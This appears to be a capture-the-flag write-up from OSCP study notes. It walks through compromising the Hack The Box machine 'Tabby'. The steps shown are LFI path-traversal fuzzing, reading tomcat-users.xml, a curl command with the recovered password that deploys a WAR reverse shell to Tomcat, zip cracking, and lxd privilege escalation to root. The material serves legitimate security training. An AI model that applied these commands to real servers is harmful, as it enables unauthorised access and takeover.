> For the complete documentation index, see [llms.txt](https://oscp-notes-2025.gitbook.io/oscp-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-notes-2025.gitbook.io/oscp-writeups/tabby-htb.md).

# Tabby - HTB

29.08.2025

## Web enumeration

```
$ nmap -Pn -n -p- -T5 $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 01:12 CDT
Nmap scan report for 10.129.120.130
Host is up (0.0076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy




$ nmap -Pn -n -p22,80,8080 -sV -sC $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 01:12 CDT
Nmap scan report for 10.129.120.130
Host is up (0.0074s latency).
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

## TCP/8080

Tomcat is in version 9 from main page

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FVI481H4LOeThpMr6wBey%2Fimage.png?alt=media&amp;token=cf1dcac7-c5e5-4be0-94a3-77bdc3563783" alt=""><figcaption></figcaption></figure>

Inside the docs url the exact version 9.0.31 of tomcat are shown

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FfIfnXYZS3Y6epZCVH6f1%2Fimage.png?alt=media&amp;token=43ff65ca-dcaa-4c16-9dbe-c337666c285c" alt=""><figcaption></figcaption></figure>

Seems like this version is not vulnerable

Then i accessed manager and host-manager and tried defaults passwords:<br>

* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

I used also path traversal techniques:

[www.vulnerable.com/lalala/..;/manager/html](http://www.vulnerable.com/lalala/..;/manager/html)

But this also didn't work

I went back the port 80 website

## TCP/80

on the news page i was the information about some data breach

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FNQZUy9taAaFR6c9SoWxz%2Fimage.png?alt=media&amp;token=d34505f5-3123-4451-a620-b1ae4ed490d9" alt=""><figcaption></figcaption></figure>

I tried with RFI but no connection to my webserver is made

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FSFGBIq1eGH4MQlhc1HVx%2Fimage.png?alt=media&amp;token=d3016f86-6919-476e-b098-a8226a800887" alt=""><figcaption></figcaption></figure>

Then I used LFI wordlist with wfuzz to check bigger payload file and it worked out

```
$ wfuzz -c -w lfi1.txt --hw 0 http://megahosting/news.php?file=../../../../../../../FUZZ

```

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FaZNSqZscOKVVxtuiC4oB%2Fimage.png?alt=media&amp;token=b413557b-4f15-4160-8d13-36840292291a" alt=""><figcaption></figcaption></figure>

After I found the LFI then i fuzz it again with tomcat specific files

Inside etc/passwd is one user **ash**

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FF0d2LNeWDXcpbCOuwINO%2Fimage.png?alt=media&amp;token=3c443cd5-2397-43a0-93bc-81c6fb18fe1b" alt=""><figcaption></figcaption></figure>

```

$ wfuzz -c -w tomcat.txt --hw 0 http://megahosting.htb/news.php?file=../../../../../../../FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://megahosting.htb/news.php?file=../../../../../../../FUZZ
Total requests: 760

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000022:   200        6 L      24 W       156 Ch      "usr/lib/tmpfiles.d/tomcat9.conf"                                                                                            
000000020:   200        7 L      33 W       277 Ch      "usr/lib/sysusers.d/tomcat9.conf"                                                                                            
000000018:   200        43 L     53 W       990 Ch      "usr/lib/systemd/system/tomcat9.service"                                                                                     
000000075:   200        60 L     284 W      1908 Ch     "usr/share/tomcat9/bin/version.sh"                                                                                           
000000074:   200        153 L    706 W      5540 Ch     "usr/share/tomcat9/bin/tool-wrapper.sh"                                                                                      
000000072:   200        60 L     284 W      1904 Ch     "usr/share/tomcat9/bin/startup.sh"                                                                                           
000000070:   200        98 L     537 W      3708 Ch     "usr/share/tomcat9/bin/setclasspath.sh"                                                                                      
000000071:   200        60 L     284 W      1902 Ch     "usr/share/tomcat9/bin/shutdown.sh"                                                                                          
000000068:   200        60 L     287 W      1965 Ch     "usr/share/tomcat9/bin/digest.sh"                                                                                            
000000069:   200        115 L    492 W      3382 Ch     "usr/share/tomcat9/bin/makebase.sh"                                                                                          
000000067:   200        277 L    960 W      8675 Ch     "usr/share/tomcat9/bin/daemon.sh"                                                                                            
000000064:   200        60 L     286 W      1997 Ch     "usr/share/tomcat9/bin/ciphers.sh"                                                                                           
000000066:   200        60 L     285 W      1922 Ch     "usr/share/tomcat9/bin/configtest.sh"                                                                                        
000000062:   200        39 L     170 W      1664 Ch     "usr/share/tomcat9/bin/catalina-tasks.xml"                                                                                   
000000073:   200        183 L    1709 W     46842 Ch    "usr/share/tomcat9/bin/tomcat-juli.jar"                                                                                      
000000063:   200        655 L    2872 W     23798 Ch    "usr/share/tomcat9/bin/catalina.sh"                                                                                          
000000061:   200        194 L    1284 W     33439 Ch    "usr/share/tomcat9/bin/bootstrap.jar" 
```

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FuIrDaVeo3mo0JNlTF2jx%2Fimage.png?alt=media&amp;token=53825e33-c3da-41f9-b6c6-699cd71f6fbe" alt=""><figcaption></figcaption></figure>

I tried with many paths for the tomcat, but eventually the /usr/share/tomcat9/etc was place when i found files mentioned in documentation

So eventually the password for tomcat is inside /usr/share/tomcat9/etc/tomcat-users.xml

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FScfFstoBVKUy20iZlzYH%2Fimage.png?alt=media&amp;token=c6bb0a92-eb4f-487b-9fca-8e98b0172deb" alt=""><figcaption></figcaption></figure>

From here i can access host-manager and use it to reverse shell using war files

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FZFB0re2w8VLlAn5C6KN1%2Fimage.png?alt=media&amp;token=187148a2-b3ad-4494-a4ce-eb23e5726dd1" alt=""><figcaption></figcaption></figure>

## Tomcat RCE

From hacktricks i can see that i can upload and run reverse shell script bases on role manager-script

You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under *tomcat-users.xml* usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html?highlight=tomcat#post)section).

Unfortunately i could not access manager/html to upload i file i should have role manager-gui, and only admin-gui i have.

But with manager-script probably i could upload the file using text interface

And using the text command we can use this:<br>

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FQ0NhQi2TGTIzVunFYgyY%2Fimage.png?alt=media&amp;token=227d8f45-8285-41c2-aa96-5064942fad15" alt=""><figcaption></figcaption></figure>

I used a curl command to deploy new application:

```

┌─[eu-dedivip-2]─[10.10.14.47]─[bgutowski@htb-9nl46efogr]─[~/my_data/Tabby]
└──╼ [★]$ curl -u tomcat:'$3cureP4s5w0rd123!' -T /home/bgutowski/my_data/Tabby/shell.war "http://megahosting.htb:8080/manager/text/deploy?path=/reverse&update=true"
OK - Deployed application at context path [/reverse]

```

And in the list on app is new app now with reverse name

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FINc9VcORKTDjJJ2R8ctv%2Fimage.png?alt=media&amp;token=66412550-a003-4003-a2f7-63d6e9334a37" alt=""><figcaption></figcaption></figure>

When i accessed the /reverse url i got shell as tomcat:

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2F7JslY2pA2lAdB10mxpkl%2Fimage.png?alt=media&amp;token=a06884cf-c722-4dc7-8702-510e68669bb1" alt=""><figcaption></figcaption></figure>

## privesc from tomcat&#x20;

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2Fyw9fE3ccJL9zFIbR19ti%2Fimage.png?alt=media&amp;token=c79840dd-c4de-4352-908e-1a73a40a43ff" alt=""><figcaption></figcaption></figure>

Inside the /var/www/html the archive is with backup

the have password on it

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FLzymj0f3dV40CWdEbYFz%2Fimage.png?alt=media&amp;token=1680942f-3859-4349-a576-da062e08a20f" alt=""><figcaption></figcaption></figure>

I ran zip2john and then got backup zip password:

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FrWIXpKrdf8ibRr2ZpRcj%2Fimage.png?alt=media&amp;token=dcf273c2-26ff-4681-a417-bb94a10c0e8c" alt=""><figcaption></figcaption></figure>

using this password for ash is correct:

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FDt7A6x2mZXCqZ8JGa1R9%2Fimage.png?alt=media&amp;token=c584d048-bccf-4f03-bb2c-d9ca600d9c16" alt=""><figcaption></figcaption></figure>

## ash -> root

I checked some standard things:

```
suid & sgid

ash@tabby:~$ find / -path /snap -prune -o -type f -user root -perm -u=s -print 2>/dev/null | grep -vE '/bin/mount$|/bin/umount$|/bin/ping$|/usr/bin/chfn$|/usr/bin/chsh$|/usr/bin/gpasswd$|/usr/bin/newgrp$|/usr/bin/passwd$|/usr/bin/su$|/usr/bin/sudo$|/usr/bin/pkexec$|/usr/bin/arping$|/bin/fusermount$|/bin/su$|/usr/lib/openssh/ssh-keysing$|/usr/lib/snapd/snap-confine$|/usr/sbin/pppd$|/usr/bin/traceroute6.iputils$|/usr/lib/dbus-1.0/dbus-daemon-launch-helper$|/usr/lib/policykit-1/polkit-agent-helper-1$|/usr/lib/eject/dmcrypt-get-device$|/usr/lib/xorg/Xorg.wrap$|/usr/bin/vmware-user-suid-wrapper$|/usr/lib/openssh/ssh-keysign$' | awk '{print "\033[32m" $0 "\033[0m"}'
<h-keysign$' | awk '{print "\033[32m" $0 "\033[0m"}'
ash@tabby:~$ 

ash@tabby:~$ find / -perm -g=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
/snap/core18/2128/sbin/pam_extrausers_chkpwd
/snap/core18/2128/sbin/unix_chkpwd
/snap/core18/2128/usr/bin/chage
/snap/core18/2128/usr/bin/expiry
/snap/core18/2128/usr/bin/ssh-agent
/snap/core18/2128/usr/bin/wall
/snap/core18/1705/sbin/pam_extrausers_chkpwd
/snap/core18/1705/sbin/unix_chkpwd
/snap/core18/1705/usr/bin/chage
/snap/core18/1705/usr/bin/expiry
/snap/core18/1705/usr/bin/ssh-agent
/snap/core18/1705/usr/bin/wall
/snap/core20/1081/usr/bin/chage
/snap/core20/1081/usr/bin/expiry
/snap/core20/1081/usr/bin/ssh-agent
/snap/core20/1081/usr/bin/wall
/snap/core20/1081/usr/sbin/pam_extrausers_chkpwd
/snap/core20/1081/usr/sbin/unix_chkpwd
/usr/bin/chage
/usr/bin/at
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/expiry
/usr/bin/mlocate
/usr/bin/crontab
/usr/bin/bsd-write
/usr/sbin/unix_chkpwd
/usr/sbin/pam_extrausers_chkpwd


#kernel is not vulnerable
uname -a
Linux tabby 5.4.0-31-generic #35-Ubuntu SMP Thu May 7 20:20:34 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux




#NO MORE LOCAL PORTS OPEN
ash@tabby:~$ ss -tulpn
ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process  
udp    UNCONN  0       0        127.0.0.53%lo:53          0.0.0.0:*             
udp    UNCONN  0       0              0.0.0.0:68          0.0.0.0:*             
tcp    LISTEN  0       100            0.0.0.0:8080        0.0.0.0:*             
tcp    LISTEN  0       511            0.0.0.0:80          0.0.0.0:*             
tcp    LISTEN  0       4096     127.0.0.53%lo:53          0.0.0.0:*             
tcp    LISTEN  0       128            0.0.0.0:22          0.0.0.0:*             
tcp    LISTEN  0       128               [::]:22             [::]:*










```

The lxd probably allow to create container&#x20;

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2Fnu4viw4fcu13IBRdxe4r%2Fimage.png?alt=media&amp;token=35653a07-4f8a-4e8c-baf8-62c128535edf" alt=""><figcaption></figcaption></figure>

I used the instruction on hacktricks <https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html?highlight=lxd#method-2>

I just cloned and on the repo were already build version i ran the webserver and download the image to the machine

Important here is to put the file to /home/ash

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FHKq97Ud6cfdADi7gt4rP%2Fimage.png?alt=media&amp;token=b84041fd-f505-4c68-9b15-fe090e5ed4f9" alt=""><figcaption></figcaption></figure>

We import the apline image with privileged flag on true and then i can mount / path of machine to the container /mnt/root

and in result after starting the container and run shell for it, inside /mnt/root i have access to the machine filesystem as root

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2Fg266UsTrBrvaDOy8gwVh%2Fimage.png?alt=media&amp;token=a3f720be-42d4-4147-a20d-4f792603faab" alt=""><figcaption></figcaption></figure>

I copied the key set it priv to 600 and i can access with stable shell as root

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FdWd2SarPufPA2YUQvVID%2Fimage.png?alt=media&amp;token=5e040f36-10ed-40e5-b830-1176be3cd500" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2968000963-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTOVjxqcSvvxD7NVvW8sj%2Fuploads%2FI1sqPwmxIoHR4oeRyeys%2Fimage.png?alt=media&amp;token=d4add36f-60f3-46dd-bd60-c42637fa0b6c" alt=""><figcaption></figcaption></figure>